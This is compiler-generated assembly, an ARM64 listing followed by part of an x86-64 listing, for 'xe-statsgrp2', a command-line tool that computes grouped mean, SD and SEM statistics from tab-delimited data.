mul x1, x8, x9
bl _realloc
str x0, [sp, #304]
ldr x0, [sp, #264]
ldur x8, [x29, #-160]
add x8, x8, #1
ldrsw x9, [sp, #252]
mul x1, x8, x9
bl _realloc
str x0, [sp, #264]
ldr x0, [sp, #184]
ldur x8, [x29, #-160]
add x8, x8, #1
ldrsw x9, [sp, #180]
mul x1, x8, x9
bl _realloc
str x0, [sp, #184]
ldr x8, [sp, #304]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_96
b LBB0_95
LBB0_95:
ldr x8, [sp, #264]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_97
b LBB0_96
LBB0_96:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.9@PAGE
add x8, x8, l_.str.9@PAGEOFF
str x8, [x9]
adrp x1, l_.str.44@PAGE
add x1, x1, l_.str.44@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_97:
stur xzr, [x29, #-128]
b LBB0_98
LBB0_98: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-128]
ldur x9, [x29, #-160]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_101
b LBB0_99
LBB0_99: ; in Loop: Header=BB0_98 Depth=1
ldr x8, [sp, #312]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #304]
ldur x9, [x29, #-128]
str d0, [x8, x9, lsl #3]
b LBB0_100
LBB0_100: ; in Loop: Header=BB0_98 Depth=1
ldur x8, [x29, #-128]
add x8, x8, #1
stur x8, [x29, #-128]
b LBB0_98
LBB0_101:
ldr x0, [sp, #304]
ldur x1, [x29, #-160]
mov x2, #8
adrp x3, _xf_compare1_d@GOTPAGE
ldr x3, [x3, _xf_compare1_d@GOTPAGEOFF]
bl _qsort
ldr x8, [sp, #304]
ldr d0, [x8]
stur d0, [x29, #-176]
mov x8, #1
str x8, [sp, #296]
stur x8, [x29, #-128]
b LBB0_102
LBB0_102: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-128]
ldur x9, [x29, #-160]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_107
b LBB0_103
LBB0_103: ; in Loop: Header=BB0_102 Depth=1
ldr x8, [sp, #304]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
ldur d1, [x29, #-176]
fcmp d0, d1
cset w8, eq
tbnz w8, #0, LBB0_105
b LBB0_104
LBB0_104: ; in Loop: Header=BB0_102 Depth=1
ldr x8, [sp, #304]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #304]
ldr x9, [sp, #296]
add x10, x9, #1
str x10, [sp, #296]
str d0, [x8, x9, lsl #3]
b LBB0_105
LBB0_105: ; in Loop: Header=BB0_102 Depth=1
ldr x8, [sp, #304]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
stur d0, [x29, #-176]
b LBB0_106
LBB0_106: ; in Loop: Header=BB0_102 Depth=1
ldur x8, [x29, #-128]
add x8, x8, #1
stur x8, [x29, #-128]
b LBB0_102
LBB0_107:
stur xzr, [x29, #-128]
b LBB0_108
LBB0_108: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-128]
ldur x9, [x29, #-160]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_111
b LBB0_109
LBB0_109: ; in Loop: Header=BB0_108 Depth=1
ldr x8, [sp, #272]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #264]
ldur x9, [x29, #-128]
str d0, [x8, x9, lsl #3]
b LBB0_110
LBB0_110: ; in Loop: Header=BB0_108 Depth=1
ldur x8, [x29, #-128]
add x8, x8, #1
stur x8, [x29, #-128]
b LBB0_108
LBB0_111:
ldr x0, [sp, #264]
ldur x1, [x29, #-160]
mov x2, #8
adrp x3, _xf_compare1_d@GOTPAGE
ldr x3, [x3, _xf_compare1_d@GOTPAGEOFF]
bl _qsort
ldr x8, [sp, #264]
ldr d0, [x8]
stur d0, [x29, #-176]
mov x8, #1
str x8, [sp, #256]
stur x8, [x29, #-128]
b LBB0_112
LBB0_112: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-128]
ldur x9, [x29, #-160]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_117
b LBB0_113
LBB0_113: ; in Loop: Header=BB0_112 Depth=1
ldr x8, [sp, #264]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
ldur d1, [x29, #-176]
fcmp d0, d1
cset w8, eq
tbnz w8, #0, LBB0_115
b LBB0_114
LBB0_114: ; in Loop: Header=BB0_112 Depth=1
ldr x8, [sp, #264]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #264]
ldr x9, [sp, #256]
add x10, x9, #1
str x10, [sp, #256]
str d0, [x8, x9, lsl #3]
b LBB0_115
LBB0_115: ; in Loop: Header=BB0_112 Depth=1
ldr x8, [sp, #264]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
stur d0, [x29, #-176]
b LBB0_116
LBB0_116: ; in Loop: Header=BB0_112 Depth=1
ldur x8, [x29, #-128]
add x8, x8, #1
stur x8, [x29, #-128]
b LBB0_112
LBB0_117:
adrp x0, l_.str.45@PAGE
add x0, x0, l_.str.45@PAGEOFF
bl _printf
adrp x0, l_.str.46@PAGE
add x0, x0, l_.str.46@PAGEOFF
bl _printf
adrp x0, l_.str.47@PAGE
add x0, x0, l_.str.47@PAGEOFF
bl _printf
stur xzr, [x29, #-128]
b LBB0_118
LBB0_118: ; =>This Loop Header: Depth=1
; Child Loop BB0_120 Depth 2
; Child Loop BB0_122 Depth 3
ldur x8, [x29, #-128]
ldr x9, [sp, #296]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_151
b LBB0_119
LBB0_119: ; in Loop: Header=BB0_118 Depth=1
stur xzr, [x29, #-136]
b LBB0_120
LBB0_120: ; Parent Loop BB0_118 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_122 Depth 3
ldur x8, [x29, #-136]
ldr x9, [sp, #256]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_149
b LBB0_121
LBB0_121: ; in Loop: Header=BB0_120 Depth=2
str xzr, [sp, #200]
adrp x8, lCPI0_0@PAGE
ldr d0, [x8, lCPI0_0@PAGEOFF]
str d0, [sp, #352]
str d0, [sp, #344]
str d0, [sp, #328]
str xzr, [sp, #208]
stur xzr, [x29, #-152]
b LBB0_122
LBB0_122: ; Parent Loop BB0_118 Depth=1
; Parent Loop BB0_120 Depth=2
; => This Inner Loop Header: Depth=3
ldur x8, [x29, #-152]
ldur x9, [x29, #-160]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_140
b LBB0_123
LBB0_123: ; in Loop: Header=BB0_122 Depth=3
ldr x8, [sp, #312]
ldur x9, [x29, #-152]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #304]
ldur x9, [x29, #-128]
ldr d1, [x8, x9, lsl #3]
fcmp d0, d1
cset w8, ne
tbnz w8, #0, LBB0_138
b LBB0_124
LBB0_124: ; in Loop: Header=BB0_122 Depth=3
ldr x8, [sp, #272]
ldur x9, [x29, #-152]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #264]
ldur x9, [x29, #-136]
ldr d1, [x8, x9, lsl #3]
fcmp d0, d1
cset w8, ne
tbnz w8, #0, LBB0_138
b LBB0_125
LBB0_125: ; in Loop: Header=BB0_122 Depth=3
ldr x8, [sp, #200]
add x8, x8, #1
str x8, [sp, #200]
mov w8, #0
tbz w8, #0, LBB0_129
b LBB0_126
LBB0_126: ; in Loop: Header=BB0_122 Depth=3
ldr x8, [sp, #192]
ldur x9, [x29, #-152]
ldr d0, [x8, x9, lsl #3]
fcvt s0, d0
stur s0, [x29, #-96]
ldur s0, [x29, #-96]
ldur s1, [x29, #-96]
fcmp s0, s1
cset w8, ne
mov w9, #0
str w9, [sp, #64] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_128
b LBB0_127
LBB0_127: ; in Loop: Header=BB0_122 Depth=3
ldur s0, [x29, #-96]
fabs s0, s0
mov w8, #2139095040
fmov s1, w8
fcmp s0, s1
cset w8, ne
str w8, [sp, #64] ; 4-byte Folded Spill
b LBB0_128
LBB0_128: ; in Loop: Header=BB0_122 Depth=3
ldr w8, [sp, #64] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_136
b LBB0_137
LBB0_129: ; in Loop: Header=BB0_122 Depth=3
mov w8, #1
tbz w8, #0, LBB0_133
b LBB0_130
LBB0_130: ; in Loop: Header=BB0_122 Depth=3
ldr x8, [sp, #192]
ldur x9, [x29, #-152]
ldr d0, [x8, x9, lsl #3]
stur d0, [x29, #-80]
ldur d0, [x29, #-80]
ldur d1, [x29, #-80]
fcmp d0, d1
cset w8, ne
mov w9, #0
str w9, [sp, #60] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_132
b LBB0_131
LBB0_131: ; in Loop: Header=BB0_122 Depth=3
ldur d0, [x29, #-80]
fabs d0, d0
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fcmp d0, d1
cset w8, ne
str w8, [sp, #60] ; 4-byte Folded Spill
b LBB0_132
LBB0_132: ; in Loop: Header=BB0_122 Depth=3
ldr w8, [sp, #60] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_136
b LBB0_137
LBB0_133: ; in Loop: Header=BB0_122 Depth=3
ldr x8, [sp, #192]
ldur x9, [x29, #-152]
ldr d0, [x8, x9, lsl #3]
stur d0, [x29, #-48]
ldur d0, [x29, #-48]
ldur d1, [x29, #-48]
fcmp d0, d1
cset w8, ne
mov w9, #0
str w9, [sp, #56] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_135
b LBB0_134
LBB0_134: ; in Loop: Header=BB0_122 Depth=3
ldur d0, [x29, #-48]
fabs d0, d0
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fcmp d0, d1
cset w8, ne
str w8, [sp, #56] ; 4-byte Folded Spill
b LBB0_135
LBB0_135: ; in Loop: Header=BB0_122 Depth=3
ldr w8, [sp, #56] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, eq
tbnz w8, #0, LBB0_137
b LBB0_136
LBB0_136: ; in Loop: Header=BB0_122 Depth=3
ldr x8, [sp, #192]
ldur x9, [x29, #-152]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #184]
ldr x9, [sp, #208]
add x10, x9, #1
str x10, [sp, #208]
str d0, [x8, x9, lsl #3]
b LBB0_137
LBB0_137: ; in Loop: Header=BB0_122 Depth=3
b LBB0_138
LBB0_138: ; in Loop: Header=BB0_122 Depth=3
b LBB0_139
LBB0_139: ; in Loop: Header=BB0_122 Depth=3
ldur x8, [x29, #-152]
add x8, x8, #1
stur x8, [x29, #-152]
b LBB0_122
LBB0_140: ; in Loop: Header=BB0_120 Depth=2
ldr x8, [sp, #200]
subs x8, x8, #0
cset w8, gt
tbnz w8, #0, LBB0_142
b LBB0_141
LBB0_141: ; in Loop: Header=BB0_120 Depth=2
b LBB0_148
LBB0_142: ; in Loop: Header=BB0_120 Depth=2
ldr x8, [sp, #208]
subs x8, x8, #0
cset w8, le
tbnz w8, #0, LBB0_144
b LBB0_143
LBB0_143: ; in Loop: Header=BB0_120 Depth=2
ldr x0, [sp, #184]
ldr x1, [sp, #208]
mov w2, #2
add x3, sp, #328
bl _xf_stats2_d
b LBB0_144
LBB0_144: ; in Loop: Header=BB0_120 Depth=2
ldr w8, [sp, #164]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_146
b LBB0_145
LBB0_145: ; in Loop: Header=BB0_120 Depth=2
ldr x8, [sp, #304]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
mov x8, sp
str d0, [x8]
adrp x0, l_.str.48@PAGE
add x0, x0, l_.str.48@PAGEOFF
str x0, [sp, #48] ; 8-byte Folded Spill
bl _printf
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr x8, [sp, #264]
ldur x9, [x29, #-136]
ldr d0, [x8, x9, lsl #3]
mov x8, sp
str d0, [x8]
bl _printf
ldr x10, [sp, #208]
ldr d2, [sp, #328]
ldr d1, [sp, #344]
ldr d0, [sp, #352]
ldr x8, [sp, #200]
mov x9, sp
str x10, [x9]
str d2, [x9, #8]
str d1, [x9, #16]
str d0, [x9, #24]
str x8, [x9, #32]
adrp x0, l_.str.49@PAGE
add x0, x0, l_.str.49@PAGEOFF
bl _printf
b LBB0_147
LBB0_146: ; in Loop: Header=BB0_120 Depth=2
ldr x8, [sp, #304]
ldur x9, [x29, #-128]
ldr d0, [x8, x9, lsl #3]
fcvtzs x8, d0
mov x9, sp
str x8, [x9]
adrp x0, l_.str.50@PAGE
add x0, x0, l_.str.50@PAGEOFF
str x0, [sp, #40] ; 8-byte Folded Spill
bl _printf
ldr x0, [sp, #40] ; 8-byte Folded Reload
ldr x8, [sp, #264]
ldur x9, [x29, #-136]
ldr d0, [x8, x9, lsl #3]
fcvtzs x8, d0
mov x9, sp
str x8, [x9]
bl _printf
ldr x10, [sp, #208]
ldr d2, [sp, #328]
ldr d1, [sp, #344]
ldr d0, [sp, #352]
ldr x8, [sp, #200]
mov x9, sp
str x10, [x9]
str d2, [x9, #8]
str d1, [x9, #16]
str d0, [x9, #24]
str x8, [x9, #32]
adrp x0, l_.str.49@PAGE
add x0, x0, l_.str.49@PAGEOFF
bl _printf
b LBB0_147
LBB0_147: ; in Loop: Header=BB0_120 Depth=2
b LBB0_148
LBB0_148: ; in Loop: Header=BB0_120 Depth=2
ldur x8, [x29, #-136]
add x8, x8, #1
stur x8, [x29, #-136]
b LBB0_120
LBB0_149: ; in Loop: Header=BB0_118 Depth=1
b LBB0_150
LBB0_150: ; in Loop: Header=BB0_118 Depth=1
ldur x8, [x29, #-128]
add x8, x8, #1
stur x8, [x29, #-128]
b LBB0_118
LBB0_151:
ldur x8, [x29, #-120]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_153
b LBB0_152
LBB0_152:
ldur x0, [x29, #-120]
bl _free
b LBB0_153
LBB0_153:
ldr x8, [sp, #224]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_155
b LBB0_154
LBB0_154:
ldr x0, [sp, #224]
bl _free
b LBB0_155
LBB0_155:
ldr x8, [sp, #312]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_157
b LBB0_156
LBB0_156:
ldr x0, [sp, #312]
bl _free
b LBB0_157
LBB0_157:
ldr x8, [sp, #272]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_159
b LBB0_158
LBB0_158:
ldr x0, [sp, #272]
bl _free
b LBB0_159
LBB0_159:
ldr x8, [sp, #304]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_161
b LBB0_160
LBB0_160:
ldr x0, [sp, #304]
bl _free
b LBB0_161
LBB0_161:
ldr x8, [sp, #264]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_163
b LBB0_162
LBB0_162:
ldr x0, [sp, #264]
bl _free
b LBB0_163
LBB0_163:
ldr x8, [sp, #192]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_165
b LBB0_164
LBB0_164:
ldr x0, [sp, #192]
bl _free
b LBB0_165
LBB0_165:
ldr x8, [sp, #184]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_167
b LBB0_166
LBB0_166:
ldr x0, [sp, #184]
bl _free
b LBB0_167
LBB0_167:
mov w0, #0
bl _exit
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\n"
l_.str.1: ; @.str.1
.asciz "----------------------------------------------------------------------\n"
l_.str.2: ; @.str.2
.asciz "%s\n"
l_.str.3: ; @.str.3
.asciz "xe-statsgrp2 v 9: 29.April.2019 [JRH]"
l_.str.4: ; @.str.4
.asciz "Calculate stats on a data-column using grouping-columns\n"
l_.str.5: ; @.str.5
.asciz "- input must be tab-delimited\n"
l_.str.6: ; @.str.6
.asciz "- grouping-variables must be numeric (can be floating-point)\n"
l_.str.7: ; @.str.7
.asciz "- non-numeric data-values will be ignored for stats calculations\n"
l_.str.8: ; @.str.8
.asciz "USAGE: %s [input] [options]\n"
l_.str.9: ; @.str.9
.asciz "xe-statsgrp2"
l_.str.10: ; @.str.10
.asciz "\t[input]: file name or \"stdin\"\n"
l_.str.11: ; @.str.11
.asciz "VALID OPTIONS:\n"
l_.str.12: ; @.str.12
.asciz "\t-cg1: column defining grouping-variable 1 [%ld]\n"
l_.str.13: ; @.str.13
.asciz "\t-cg2: column defining grouping-variable 2 [%ld]\n"
l_.str.14: ; @.str.14
.asciz "\t-cy: column containing dependent variable [%ld]\n"
l_.str.15: ; @.str.15
.asciz "\t-gint: output groups as integers? (0=NO 1=YES) [%d]\n"
l_.str.16: ; @.str.16
.asciz "EXAMPLES:\n"
l_.str.17: ; @.str.17
.asciz "\t%s data.txt"
l_.str.18: ; @.str.18
.asciz " -cg1 5"
l_.str.19: ; @.str.19
.asciz " -cg2 7"
l_.str.20: ; @.str.20
.asciz "\tcat temp.txt | %s stdin -gint 1\n"
l_.str.21: ; @.str.21
.asciz "OUTPUT:\n"
l_.str.22: ; @.str.22
.asciz "\tgrp1"
l_.str.23: ; @.str.23
.asciz "\tgrp2"
l_.str.24: ; @.str.24
.asciz "\tn\tmean\tsd\tsem\tntot\n"
l_.str.25: ; @.str.25
.asciz "\tNOTE:\n"
l_.str.26: ; @.str.26
.asciz "\t\tntot= total datapoints for a given group-combination\n"
l_.str.27: ; @.str.27
.asciz "\t\tn= valid numbers contributing to statistical result\n"
l_.str.28: ; @.str.28
.asciz "\n--- Error [%s]: missing value for argument \"%s\"\n\n"
l_.str.29: ; @.str.29
.asciz "-cg1"
l_.str.30: ; @.str.30
.asciz "-cg2"
l_.str.31: ; @.str.31
.asciz "-cy"
l_.str.32: ; @.str.32
.asciz "-gint"
l_.str.33: ; @.str.33
.asciz "\n--- Error [%s]: invalid command line argument \"%s\"\n"
l_.str.34: ; @.str.34
.asciz "\n--- Error [%s]: invalid group column (-cg1 %ld) - must be >0\n"
l_.str.35: ; @.str.35
.asciz "\n--- Error [%s]: invalid group column (-cg2 %ld) - must be >0\n"
l_.str.36: ; @.str.36
.asciz "\n--- Error [%s]: invalid data column (-cy %ld) - must be >0\n"
l_.str.37: ; @.str.37
.asciz "stdin"
l_.str.38: ; @.str.38
.asciz "r"
l_.str.39: ; @.str.39
.asciz "\n--- Error [%s]: file \"%s\" not found\n\n"
l_.str.40: ; @.str.40
.asciz "\n--- Error [%s]: readline function encountered insufficient memory\n\n"
l_.str.41: ; @.str.41
.asciz "\t"
l_.str.42: ; @.str.42
.asciz "\n--- Error [%s]: lineparse function encountered insufficient memory\n\n"
l_.str.43: ; @.str.43
.asciz "%lf"
l_.str.44: ; @.str.44
.asciz "\n--- Error [%s]: insufficient memory\n\n"
l_.str.45: ; @.str.45
.asciz "grp1\t"
l_.str.46: ; @.str.46
.asciz "grp2\t"
l_.str.47: ; @.str.47
.asciz "n\tmean\tsd\tsem\tntot\n"
l_.str.48: ; @.str.48
.asciz "%g\t"
l_.str.49: ; @.str.49
.asciz "%ld\t%g\t%g\t%g\t%ld\n"
l_.str.50: ; @.str.50
.asciz "%ld\t"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x7ff8000000000000 ## double NaN
LCPI0_2:
.quad 0x7ff0000000000000 ## double +Inf
.section __TEXT,__literal4,4byte_literals
.p2align 2
LCPI0_1:
.long 0x7f800000 ## float +Inf
.section __TEXT,__literal16,16byte_literals
.p2align 4
LCPI0_3:
.quad 0x7fffffffffffffff ## double NaN
.quad 0x7fffffffffffffff ## double NaN
LCPI0_4:
.long 0x7fffffff ## float NaN
.long 0x7fffffff ## float NaN
.long 0x7fffffff ## float NaN
.long 0x7fffffff ## float NaN
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $992, %rsp ## imm = 0x3E0
movl $0, -116(%rbp)
movl %edi, -120(%rbp)
movq %rsi, -128(%rbp)
movq $0, -136(%rbp)
movq $0, -184(%rbp)
movq $0, -752(%rbp)
movq $0, -760(%rbp)
movq $0, -768(%rbp)
movl $8, -772(%rbp)
movq $0, -792(%rbp)
movq $0, -800(%rbp)
movq $0, -808(%rbp)
movl $8, -812(%rbp)
movq $0, -832(%rbp)
movq $0, -840(%rbp)
movq $0, -856(%rbp)
movq $0, -864(%rbp)
movq $0, -872(%rbp)
movq $0, -880(%rbp)
movl $8, -884(%rbp)
movq $0, -896(%rbp)
movl $0, -900(%rbp)
movq $1, -912(%rbp)
movq $2, -920(%rbp)
movq -912(%rbp), %rax
addq $1, %rax
movq %rax, -928(%rbp)
movq -920(%rbp), %rax
addq $1, %rax
movq %rax, -928(%rbp)
cmpl $2, -120(%rbp)
jge LBB0_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq %rax, -952(%rbp) ## 8-byte Spill
movq (%rax), %rdi
leaq L_.str(%rip), %rsi
movq %rsi, -944(%rbp) ## 8-byte Spill
xorl %eax, %eax
movl %eax, -932(%rbp) ## 4-byte Spill
movb %al, -933(%rbp) ## 1-byte Spill
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.1(%rip), %rsi
movq %rsi, -960(%rbp) ## 8-byte Spill
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.3(%rip), %rdx
callq _fprintf
movq -960(%rbp), %rsi ## 8-byte Reload
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.4(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.5(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.6(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.7(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
movq -944(%rbp), %rsi ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.8(%rip), %rsi
leaq L_.str.9(%rip), %rdx
movq %rdx, -968(%rbp) ## 8-byte Spill
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.10(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.11(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
movq -912(%rbp), %rdx
leaq L_.str.12(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
movq -920(%rbp), %rdx
leaq L_.str.13(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
movq -928(%rbp), %rdx
leaq L_.str.14(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
movl -900(%rbp), %edx
leaq L_.str.15(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.16(%rip), %rsi
callq _fprintf
movq -968(%rbp), %rdx ## 8-byte Reload
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $esi killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.17(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.18(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.19(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
movq -944(%rbp), %rsi ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
callq _fprintf
movq -968(%rbp), %rdx ## 8-byte Reload
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $esi killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.20(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.21(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.22(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.23(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.24(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
movq -944(%rbp), %rsi ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.25(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.26(%rip), %rsi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.27(%rip), %rsi
callq _fprintf
movq -960(%rbp), %rsi ## 8-byte Reload
movq -952(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
callq _fprintf
movq -952(%rbp), %rcx ## 8-byte Reload
movq -944(%rbp), %rsi ## 8-byte Reload
## kill: def $edx killed $eax
movb -933(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
callq _fprintf
movl -932(%rbp), %edi ## 4-byte Reload
callq _exit
LBB0_2:
movq -128(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -896(%rbp)
movq $2, -144(%rbp)
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq -144(%rbp), %rax
movslq -120(%rbp), %rcx
cmpq %rcx, %rax
jge LBB0_23
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB0_21
## %bb.5: ## in Loop: Header=BB0_3 Depth=1
movq -144(%rbp), %rax
addq $1, %rax
movslq -120(%rbp), %rcx
cmpq %rcx, %rax
jl LBB0_7
## %bb.6:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -128(%rbp), %rax
movq -144(%rbp), %rcx
movq (%rax,%rcx,8), %rcx
leaq L_.str.28(%rip), %rsi
leaq L_.str.9(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
